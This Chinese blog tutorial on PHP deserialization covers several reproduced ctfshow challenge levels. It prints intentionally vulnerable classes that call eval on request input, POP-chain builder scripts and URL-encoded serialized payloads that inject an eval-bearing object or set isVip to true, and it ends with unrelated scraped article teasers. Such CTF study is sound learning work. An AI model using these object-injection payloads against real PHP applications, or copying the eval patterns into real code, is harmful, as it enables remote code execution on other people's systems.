PHP序列化总结3--反序列化的简单利用及案例分析

反序列化中生成对象里面的值,是由反序列化里面的值决定,与原类中预定义的值的值无关,穷反序列化的对象可以使用类中的变量和方法

案例分析

反序列化中的值可以覆盖原类中的值

我们创建一个对象,对象创建的时候触发了construct方法输出字符串,在程序结束后,执行了系统命令ipconfig

我们修改一下条件,将创建B()对象的方式使用unserialize()进行传入数据,我们可以看到construct()函数没有被执行,但是对象销毁的时候还是调用了__destruct()函数执行了系统命令

修改一下源码,将ipconfig这个操作使用一个参数进行接收传递,我们这样的话我们构造x参数的值的时候我们就可以将这个变量转化为我们想要执行的命令如图

我们可以将cmd命令转化为我们指定的命令例如ver,然后修改对应的值,我们就可以执行我们想要的命令,例如我们想要执行ver命令,我们就把ipconfig改成ver并修改参数值即可返回我们想要执行的结果

接下来用几个案例来解释php反序列化的原理

案例分析
案例1

案例源码

<?php
error_reporting(0);
highlight_file(__FILE__);
class test{function __destruct(){echo "destruct... <br>";eval($_GET['cmd']);}
}
unserialize($_GET['u']);
?>

通过代码分析我们可以知道,反序列化接收一个数据,如果我们想要执行eval函数,我们就要触发__destruct()方法,为此我们需要创建一个对象即可触发,然后再传递一个cmd参数进行命令执行即可

pop构造代码

<?php
class test{}
$c = new test();
echo serialize($c);
echo '<br>';
echo urlencode(serialize($c))
?>

构造结果:

http://127.0.0.1/ctfshow/demo1.php?u=O:4:"test":0:{}&cmd=phpinfo();

执行结果

将phpinfo();改为了system('系统命令');就可以执行系统命令

案例2

案例源码

<?php
error_reporting(0);
highlight_file(__FILE__);
class lemon{protected $ClassObj;function __construct(){$this->ClassObj=new normal();}function __destruct(){$this->ClassObj->action();}}class normal{function action(){echo "hello";}}class evil{private $data;function action(){eval($this->data);}
}unserialize($_GET['d']); 
?>

通过代码我们可以看到数据是通过unserialize进行传输,为此我们就可以利用传入的参数进行控制代码的显示,我们使用我们创建一个序列化的lemon对象,将其中的construct函数中的new normal()改为new evil()为后面的命令执行做准备,然后因为eval里面传递的是data的值,我们可以将其赋值为我们想要执行的命令,就可以实现命令执行

pop构造源码

<?php
class lemon{protected $ClassObj;function __construct(){$this->ClassObj= new evil();}
}
class evil{private $data="phpinfo();";
}echo serialize(new lemon());
?>

因为我们是通过url传参,可能在传递的过程中会出现问题,为此我们进行URL编码进行url传递

O%3A5%3A%22lemon%22%3A2%3A%7Bs%3A11%3A%22%00%2A%00classObj%22%3BN%3Bs%3A8%3A%22ClassObj%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A10%3A%22%00evil%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D

结果展示

执行了phpinfo()的效果

本地复现了ctfshow的几个关卡来学习php反序列化
案例3
<?php
error_reporting(0);
highlight_file(__FILE__);class ctfShowUser{public $username='xxxxxx';public $password='xxxxxx';public $isVip=false;public function checkVip(){return $this->isVip;}public function login($u,$p){if($this->username===$u&&$this->password===$p){$this->isVip=true;}return $this->isVip;}public function vipOneKeyGetFlag(){if($this->isVip){include('flag.php');}else{echo "no vip, no flag";}}
}$username=$_GET['username'];
$password=$_GET['password'];if(isset($username) && isset($password)){$user = new ctfShowUser();if($user->login($username,$password)){if($user->checkVip()){$user->vipOneKeyGetFlag();}}else{echo "no vip,no flag";}
}

这题和序列化无关,根据要求传入username和password的值即可

127.0.0.1/ctfshow/ser1.php?username=xxxxxx&password=xxxxxx

结果展示

案例4
<?php
error_reporting(0);
highlight_file(__FILE__);class ctfShowUser{public $username='xxxxxx';public $password='xxxxxx';public $isVip=false;public function checkVip(){return $this->isVip;}public function login($u,$p){return $this->username===$u&&$this->password===$p;}public function vipOneKeyGetFlag(){if($this->isVip){global $flag;include('flag.php');}else{echo "no vip, no flag";}}
}$username=$_GET['username'];
$password=$_GET['password'];if(isset($username) && isset($password)){$user = unserialize($_COOKIE['user']);    if($user->login($username,$password)){if($user->checkVip()){$user->vipOneKeyGetFlag();}}else{echo "no vip,no flag";}
} 

从代码中分析,绕过我们要获取flag需要调用vipOneKeyGetFlag(),但是这个函数里面使用了isVip这个变量,被赋值为flase,又因为传参的时候是通过反序列化接收的cookie的值,我们可以通过这个反序列化函数传入一个isVip变量为ture的值,然后获取flag

pop构造源码

<?php
class ctfShowUser{public $username='xxxxxx';public $password='xxxxxx';public $isVip=true;
}
$c = new ctfShowUser();
echo serialize($c);
echo '<br>';
echo urlencode(serialize($c))
?>

为了方便传输我们要进行url编码即:

O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

结果展示

案例5
<?php
highlight_file(__FILE__);
class ctfShowUser{public $username='xxxxxx';public $password='xxxxxx';public $isVip=false;public function checkVip(){return $this->isVip;}public function login($u,$p){return $this->username===$u&&$this->password===$p;}public function vipOneKeyGetFlag(){if($this->isVip){global $flag;if($this->username!==$this->password){include('flag.php');}}else{echo "no vip, no flag";}}
}$username=$_GET['username'];
$password=$_GET['password'];if(isset($username) && isset($password)){$user = unserialize($_COOKIE['user']);    if($user->login($username,$password)){if($user->checkVip()){$user->vipOneKeyGetFlag();}}else{echo "no vip,no flag";}
}

 

通过代码分析我们可以知道,这题的关键就是所给的username的值和password的值相等,但是触发条件有不相等,我们就需要使用反序列化函数将其中的username和password分别改为不同的值进行传参,然后触发条件即可

我们可以构造源码

<?php
class ctfShowUser{public $username='x';public $password='y';public $isVip=true;
}
$c = new ctfShowUser();
echo serialize($c);
echo '<br>';
echo urlencode(serialize($c))
?>

为了方便传输我们要进行url编码即:

O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A1%3A%22x%22%3Bs%3A8%3A%22password%22%3Bs%3A1%3A%22y%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

结果展示

案例6
<?php
//eval('phpinfo();');
error_reporting(0);
highlight_file(__FILE__);class ctfShowUser{private $username='xxxxxx';private $password='xxxxxx';private $isVip=false;private $class = 'info';public function __construct(){$this->class=new info();}public function login($u,$p){return $this->username===$u&&$this->password===$p;}public function __destruct(){$this->class->getInfo();}}class info{private $user='xxxxxx';public function getInfo(){return $this->user;}
}class backDoor{private $code;public function getInfo(){eval($this->code);}
}$username=$_GET['username'];
$password=$_GET['password'];if(isset($username) && isset($password)){$user = unserialize($_GET['user']);$user->login($username,$password);
}

环境复现有点问题,在网上找了个结果的截图

写在最后

如有错误,请及时指出,感谢

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/228003.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

基于QT开发的温室气体数据记录软件

1、概述 温室气体分析仪数据记录软件用于实现温室气体分析仪数据的获取与存储&#xff0c;阀箱数据的获取与存储、冷阱数据的获取与存储、采样单元数据的获取与存储、阀箱和采样单元的远程操作以及系统功能的管理。其主操作界面如下&#xff1a; 上述软件界面分为2各区域&…

【Linux】内核编译 镜像制作

文章目录 一、Ubuntu内核编译1.1 为什么自己编译内核1.2 Ubuntu 内核源码下载1.21 内核的作用1.22 Linux内核与ubuntu内核1.23 Ubuntu内核源码获取 1.3 在Windows系统下编译ubuntu内核1.4 在Linux系统下编译ubuntu内核 二、镜像制作 一、Ubuntu内核编译 1.1 为什么自己编译内核…

IIS服务器发布PHP网站

IIS服务器&#xff0c;相信开发者都不会陌生&#xff0c;它的英文全称是Internet Information Services&#xff0c;是由微软公司提供的基于运行Microsoft Windows的互联网基本服务&#xff0c;常用于Windows系统的Web项目部署&#xff0c;本篇以PHP项目为例&#xff0c;讲解如…

Qt 中使用 MySQL 数据库保姆级教程(上)

作者&#xff1a;billy 版权声明&#xff1a;著作权归作者所有&#xff0c;商业转载请联系作者获得授权&#xff0c;非商业转载请注明出处 前言 在 Qt 中默认只搭载了 QSqlLite 数据库驱动&#xff0c;若要使用其他数据库需要自己下载数据库&#xff0c;并将数据库驱动加载到…

GitOps实践指南:GitOps能为我们带来什么?

Git&#xff0c;作为开发过程中的核心工具&#xff0c;提供了强大的版本控制功能。即便在写代码的时候稍微手抖一下&#xff0c;我们也能通过 Git 的差异对比&#xff08;diff&#xff09;轻松追踪到庞大工程中的问题&#xff0c;确保代码的准确与可靠。这种无与伦比的自省能力…

【小沐学Python】Python实现免费天气预报获取(OpenWeatherMap)

文章目录 1、简介1.1 工具简介1.2 费用1.3 注册1.4 申请key 2、接口说明2.1 One Call 3.02.2 Current Weather and Forecasts collection2.2.1 API 调用2.2.2 API 参数 2.3 Historical Weather collection2.4 Weather Maps collection2.5 Other weather APIs 3、接口测试3.1 例…

SpringBoot集成支付宝,看这一篇就够了。

前 言 在开始集成支付宝支付之前&#xff0c;我们需要准备一个支付宝商家账户&#xff0c;如果是个人开发者&#xff0c;可以通过注册公司或者让有公司资质的单位进行授权&#xff0c;后续在集成相关API的时候需要提供这些信息。 下面我以电脑网页端在线支付为例&#xff0c;介…

HTML教程(1)——概述和第一个网页

一、什么是HTML HTML 是用来描述网页的一种语言。 HTML 指的是超文本标记语言 (Hyper Text Markup Language)HTML 不是一种编程语言&#xff0c;而是一种标记语言 (markup language)标记语言是一套标记标签 (markup tag)HTML 使用标记标签来描述网页 二、什么是HTML 标签 H…

Java项目:102SSM汽车租赁系统

博主主页&#xff1a;Java旅途 简介&#xff1a;分享计算机知识、学习路线、系统源码及教程 文末获取源码 一、项目介绍 汽车租赁系统基于SpringSpringMVCMybatis开发&#xff0c;系统使用shiro框架做权限安全控制&#xff0c;超级管理员登录系统后可根据自己的实际需求配角色…

Kasada p.js (x-kpsdk-cd、x-kpsdk-cd、integrity)

提供x-kpsdk-cd的API服务 详细请私信~ 可试用~ 一、简述 integrity是通过身份验证Kasada检测机器人流量后获得的一个检测结果&#xff08;数据完整性&#xff09; x-kpsdk-cd 是经过编码计算等等获得。当你得到正确的解决验证码值之后&#xff0c;解码会看到如下图 二、cook…

【Pytorch】学习记录分享8——PyTorch自然语言处理基础-词向量模型Word2Vec

【Pytorch】学习记录分享7——PyTorch自然语言处理基础-词向量模型Word2Vec 1. 词向量模型Word2Vec)1. 如何度量这个单词的&#xff1f;2.词向量是什么样子&#xff1f;3.词向量对应的热力图&#xff1a;4.词向量模型的输入与输出![在这里插入图片描述](https://img-blog.csdni…

Volume Control 2

为游戏添加音乐和音效总是需要一些编码来设置一个系统来控制、显示和保存应用程序的音量设置。 音量控制的设计是为了立即为您设置这些内容,让您有更多时间专注于最重要的事情——制作出色的游戏! 在版本2中,我们对系统进行了重新设计,使其更加模块化、灵活,甚至更易于使用…

RHCE9学习指南 第13章 硬盘管理

新的硬盘首先需要对硬盘进行分区和格式化&#xff0c;首先了解一下硬盘的结构&#xff0c;如图13-1所示。 图13-1 磁盘上的磁道和扇区 硬盘的磁盘上有一个个的圈&#xff0c;每两个圈组成一个磁道。从中间往外发射线&#xff0c;把每个磁道分成一个个的扇区&#xff0c;每个扇…

Qt基础之四十五:Qt国际化(I18N)

国际化的英文表述为Internationalization,通常简写为I18N(首尾字母加中间的字符数),这种奇葩的缩写方式,让我想起了NBA球星“字母哥”。 下面看下Qt实现的动态语言切换效果。 一.效果 二.源码 QHSettingDialog.h #ifndef QHSETTINGDIALOG_H #define QHSETTINGDIALOG_H#…

Grafana监控数据可视化

Grafana 是一个可视化面板&#xff0c;有着非常漂亮的图表和布局展示&#xff0c;功能齐全的度量仪表盘和图形编辑器&#xff0c;支持 Graphite、zabbix、InfluxDB、Prometheus、OpenTSDB、Elasticsearch 等作为数据源&#xff0c;比 Prometheus 自带的图表展示功能强大太多&am…

【MySQL】主从异步复制配置

您好&#xff0c;我是码农飞哥&#xff08;wei158556&#xff09;&#xff0c;感谢您阅读本文&#xff0c;欢迎一键三连哦。 &#x1f4aa;&#x1f3fb; 1. Python基础专栏&#xff0c;基础知识一网打尽&#xff0c;9.9元买不了吃亏&#xff0c;买不了上当。 Python从入门到精…

删除数据后, redis 内存占用还是很高怎么办?

现象&#xff1a; reids 做了数据删除&#xff0c;数据量不大&#xff0c;使用 top 命令看&#xff0c;发现还是占用大量内存 原因&#xff1a; 1.redis 底层内存根据内存分配器分配&#xff0c;不会立刻释放 2.redis 释放的内存空间不是连续的&#xff0c;存在碎片 内存碎…

软件开发新手用哪个IDE比较好?软件开发最好的IDE都在这!

目录 IDES 的优点 最佳编程 IDE 列表 Java 开发的流行集成开发环境 JetBrains 的 IntelliJ IDEA NetBeans 适用于 C/ C、C# 编程语言的最佳 IDE Visual Studio 和 Visual Studio 代码 Eclipse PHP 开发的最佳 IDE PHPStorm Sublime Text Atom JavaScript 的顶级 I…

多线程编程设计模式(单例,阻塞队列,定时器,线程池)

&#x1f495;"只有首先看到事情的可能性&#xff0c;才会有发生的机会。"&#x1f495; 作者&#xff1a;Mylvzi 文章主要内容&#xff1a;多线程编程设计模式(单例,阻塞队列,定时器,线程池) 本文主要讲解多线程编程中常用到的设计模式,包括单例模式,阻塞队列,定时…

Go语言中的HTTP重定向

大家好&#xff0c;我是你们可爱的编程小助手&#xff0c;今天我们要一起探讨如何使用Go语言实现HTTP重定向&#xff0c;让我们开始吧&#xff01; 大家都知道&#xff0c;网站开发中有时候需要将用户的请求从一个URL导向到另一个URL。比如说&#xff0c;你可能想将旧的URL结构…